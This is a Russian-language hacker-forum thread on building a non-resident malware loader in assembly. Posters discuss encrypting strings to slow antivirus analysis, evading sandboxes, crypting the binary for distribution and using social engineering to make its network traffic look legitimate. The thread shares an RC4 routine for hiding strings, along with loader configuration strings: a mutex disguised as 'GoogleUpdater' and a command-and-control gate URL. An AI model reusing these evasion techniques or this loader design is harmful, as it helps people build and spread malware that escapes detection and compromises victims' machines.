Apocalypse
почему пох? А как считать, сколько ботов отстучало хотя бы?
Я имел в виду пох на жизнь админки, т.к ботнета нет и все дела. Ведь лоадер во время прогруза заберет задание и потом умрет - нерезидент же.
Apocalypse
почему пох? А как считать, сколько ботов отстучало хотя бы?
comment *
Algorithm : RC4 ( Stream Cipher )
Usage : invoke rc4_setkey,addr ptrInkey,addr ptrInkey_length
invoke rc4_crypt,addr ptrIndata,addr ptrIndata_length ( Encrypt & Decrypt )
comment *
rc4_setkey proto :DWORD, :DWORD
rc4_crypt proto :DWORD, :DWORD
.data?
rc4keytable db 256 dup(?)
.code
rc4_setkey proc ptrInkey:DWORD, ptrInkey_length:DWORD
xor ebx,ebx
@_r1:
mov [rc4keytable+ebx],bl
inc ebx
cmp ebx,256
jnz @_r1
mov esi,ptrInkey
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edi,edi
@_r3:
mov al,[rc4keytable+ecx]
add bl,byte ptr [esi+edi]
add bl,al
mov dl,[rc4keytable+ebx]
mov [rc4keytable+ecx],dl
mov [rc4keytable+ebx],al
inc edi
cmp edi,ptrInkey_length
jl @_r2
xor edi,edi
@_r2:
inc ecx
cmp ecx,256
jnz @_r3
ret
rc4_setkey endp
rc4_crypt proc ptrIndata:DWORD, ptrIndata_length:DWORD
xor eax,eax
xor ebx,ebx
xor edi,edi
xor edx,edx
mov esi,ptrIndata
@_r1:
mov cl,[rc4keytable+1+eax]
add dl,cl
mov bl,[rc4keytable+edx]
mov [rc4keytable+edx],cl
add bl,cl
mov bl,[rc4keytable+ebx]
xor [esi+edi],bl
inc eax
inc edi
cmp ptrIndata_length,edi
jnz @_r1
ret
rc4_crypt endp
будет дольше в "долгом ящике" находиться на анализе у аверов и соответственно будет дольше жить сабж
может хватить троллить то? каком анализе, какая живучесть, окстись батька, все запускается в песочнице и хоть ты там обшифруйся, сетевая активность мигом тебя спалит. Никто в статик анализе уже не смотрит малварь, не 99 год на дворе.
Му-ха-ха, плакалЪ поцталом %))))), чуваг если ты нереально далек от темы, то может, пойдешь в школу для начала?Ragnar пишет:
может хватить троллить то?
А теперь ПОПРОБУЙ ДОКАЗАТЬ, что шифровать вот эти строки:Для начала нужно начинать с функции шифрования строк (все строки надо обязательно шифровать), чем она будет сложнее, тем будет дольше в "долгом ящике" находиться на анализе у аверов и соответственно будет дольше жить сабж
mutex db "GoogleUpdater",0;мютекс
gate db "http://loader.my/gate.php",0;путь к гейту
lpszAgent db "loader v.0.1 alfa",0;юзерагент
ну, вот для примера, зашифрованная сточка в GET запросе, которую можно будет увидеть в песочницеRagnar пишет:
запускается в песочнице и хоть ты там обшифруйся
&ei=Bw16RIJHFdM8gGlAWRiDzoiKzj4uFs00Z1LI&usg=VQ0xNmpI7p313832eH1uJMiYWWGSL9n4c=&ved=wslZ0MXq7ojwufItUwb31VyQZSAMcelGjtFO3d
Ну, так для этого и нужны эти "обходы" + СИ, чтобы заставить "всех" поверить, что сетевая активность НУЖНА и она "легальна" (выше уже немного писал об этом)Ragnar пишет:
сетевая активность мигом тебя спалит.
Ну, а тогда зачем нужна эта тема?, достаточно взять тот сорец с пастбина, отредактировать его немного скомпилять, закриптовать и вперед инсталлить...Apocalypse пишет:
В принципе можно и не шифровать, и импорт обычный использовать, все равно нужно будет криптовать для распространения, а там все и пошифруется, не?
Я так понял, цель данного топика - получить "боевой опыт"
Именно так. Лично меня интересует получение практических знаний по кодингу малвари. Ибо, как я заметил, лучше всего они приходят в процессе практики, а не только от чтения литературы. Сам лоадер мне в общем-то не нужен (я ничего никому не прогружаю и вообще далек от этого), продавать его тоже не буду (если был бы нужен для всего этого, я бы тупо купил и не парился). Мне интересно научится грамотно кодить с помощью WinApi.Я так понял, цель данного топика - получить "боевой опыт"
эта фраза ставит всё на свои места, шфирование строк итд делается РАДИ ОПЫТА.Я так понял, цель данного топика - получить "боевой опыт"
.data
sour db "test123",0
dest db 32 dup(0)
.code
start:
std
mov ecx,3
mov esi,offset sour
mov edi,offset dest
rep movsb
invoke MessageBox,0,addr dest,0,0
.data
sour db "test123",0
dest db 32 dup(0)
.code
start:
mov ecx,3
mov esi,offset sour
ADD ESI, SIZEOF sour-3
mov edi,offset dest
rep movsb
invoke MessageBox,0,addr dest,0,0
.data
db "XXXXXXXXXX"
sour db "test123",0
dest db 32 dup(0)
rep movsb
cld